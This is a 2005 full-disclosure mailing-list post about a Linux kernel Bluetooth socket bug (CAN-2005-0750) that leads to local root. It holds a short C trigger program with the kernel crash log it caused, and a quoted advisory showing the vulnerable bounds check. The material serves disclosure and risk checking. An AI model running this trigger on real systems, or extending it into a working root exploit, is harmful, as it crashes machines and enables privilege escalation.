full-disclosure - local root security bug in linux >= 2.4.6 <= 2.4.30-rc1 and 2.6.x.y <= 2.6.11.5

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Date: Sun Mar 27 22:15:03 2005
From: kf_lists at digitalmunition.com (KF (Lists))
Subject: local root security bug in linux >= 2.4.6 <=
	2.4.30-rc1 and 2.6.x.y <= 2.6.11.5

This should be enough to determine if you are at 'potential' risk or 
not. I have not tested his work around so I can not vouch for it.

#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

main()
{
         int ctl;

         /* Open HCI socket  */
         if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, -1111)) < 0)
         {
                 perror("Can't open HCI socket.");
                 exit(1);
         }
}


Mar 27 16:12:23 jdam kernel:  <1>Unable to handle kernel paging request 
at virtual address 5f5f0073
Mar 27 16:12:23 jdam kernel: d7a2c098
Mar 27 16:12:23 jdam kernel: PREEMPT
Mar 27 16:12:23 jdam kernel: CPU:    0
Mar 27 16:12:23 jdam kernel: EIP: 
0060:[__crc_dq_data_lock+94252/3474916]    Not tainted
Mar 27 16:12:23 jdam kernel: EFLAGS: 00210206   (2.6.8-2-386)
Mar 27 16:12:23 jdam kernel: EIP is at bt_sock_create+0x40/0xd5 [bluetooth]
Mar 27 16:12:23 jdam kernel: eax: 5f5f0063   ebx: fffffba9   ecx: 
ccf2f624   edx: d7a36980
Mar 27 16:12:23 jdam kernel: esi: ccf2f600   edi: ffffffa3   ebp: 
ffffff9f   esp: c49fdf30
Mar 27 16:12:23 jdam kernel: ds: 007b   es: 007b   ss: 0068
Mar 27 16:12:23 jdam kernel: Process test (pid: 364, threadinfo=c49fc000 
task=cd4b1440)
Mar 27 16:12:23 jdam kernel: Stack: 0000001f ccf2f600 00000001 c01f82f5 
ccf2f600 fffffba9 00000000 00000001
Mar 27 16:12:23 jdam kernel:        bffff8dc c49fc000 c01f83fb 0000001f 
00000003 fffffba9 c49fdf84 00000000
Mar 27 16:12:23 jdam kernel:        c01f8430 0000001f 00000003 fffffba9 
c49fdf84 00000003 00000000 c01f9015
Mar 27 16:12:23 jdam kernel: Call Trace:
Mar 27 16:12:23 jdam kernel:  [__sock_create+279/518] 
__sock_create+0x117/0x206
Mar 27 16:12:23 jdam kernel:  [sock_create+23/27] sock_create+0x17/0x1b
Mar 27 16:12:23 jdam kernel:  [sys_socket+22/60] sys_socket+0x16/0x3c
Mar 27 16:12:23 jdam kernel:  [sys_socketcall+88/384] 
sys_socketcall+0x58/0x180
Mar 27 16:12:23 jdam kernel:  [do_page_fault+0/1183] do_page_fault+0x0/0x49f
Mar 27 16:12:23 jdam kernel:  [error_code+45/56] error_code+0x2d/0x38
Mar 27 16:12:23 jdam kernel:  [syscall_call+7/11] syscall_call+0x7/0xb
Mar 27 16:12:23 jdam kernel: Code: 8b 50 10 85 d2 be 01 00 00 00 74 33 
b8 00 e0 ff ff 21 e0 ff

-KF

Rob wrote:
> advisories wrote:
> 
>> Hi,
>> We recently discovered a security bug in the bluetooth stack of the 
>> linux kernel.
>> This affects most linux kernels (provided that the bluetooth stack is 
>> used).
>>
>> More information can be found in the attached pdf file.
>>
>> Regards,
>> The suresec team.
> 
> 
> I "discovered" this text in the attachment:
> 
> Suresec security advisory 1
> Release date: 27th March 2005
> CVE ID: CAN-2005-0750
> 
> Linux kernel local root vulnerability
> About the linux kernel:
> The linux kernel is a widely used kernel which is unix based.
> Vulnerability summary:
> The linux kernel has support for bluetooth. A local root security
> vulnerability was found in this bluetooth stack.
> Vulnerable code:
> static int bluez_sock_create(struct socket *sock, int proto)
> {
> if (proto >= BLUEZ_MAX_PROTO)
> return -EINVAL;
> ...
> return bluez_proto[proto]->create(sock, proto);
> }
> This code can be reached by either calling socket() or alternativly
> calling socketpair(). When passed a negative value for the protocol the
> bounds check can be bypassed. Later the protocol number is used as an
> index to a function pointer. It is possible to use proto as an index to
> some kind of memory that is under a user's control.
> Impact:
> When properly exploited this yields local root. (exploitation is trivial)
> Affected versions:
> This vulnerability affects all 2.6.x(.y) <= 2.6.11.5 linux kernels and >=
> 2.4.6 <= 2.4.30-rc1kernels provided that there is support for bluetooth.
> Suggested Recommendations:
> Update your kernel to a newer one, or alternativly we've made a
> loadable kernel modules which works around the problem by checking
> the protocol and domain before the bluetooth socket code is called. It
> can be found at:
> http://www.suresec.org/tools/bluetooth_workaround.tar.gz
> 
> Credits:
> Ilja van Sprundel found this vulnerability.
> 
> About us:
> Suresec Ltd is a global service provider of Internet security solutions
> and consultancy with unmatched quality from our world class
> consultancy practice.
> Our consultants have pioneered in the field of security research and
> have closely worked with leading software companies and service
> providers to mitigate risks and fix a number of critical vulnerabilities,
> suresec also works closely with a number of open source companies
> to provide them with a source code auditing and technical consultancy.
> We have a strong team consultants spread across Europe, the United
> States and Australia specializing in security consulting.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 
> 
>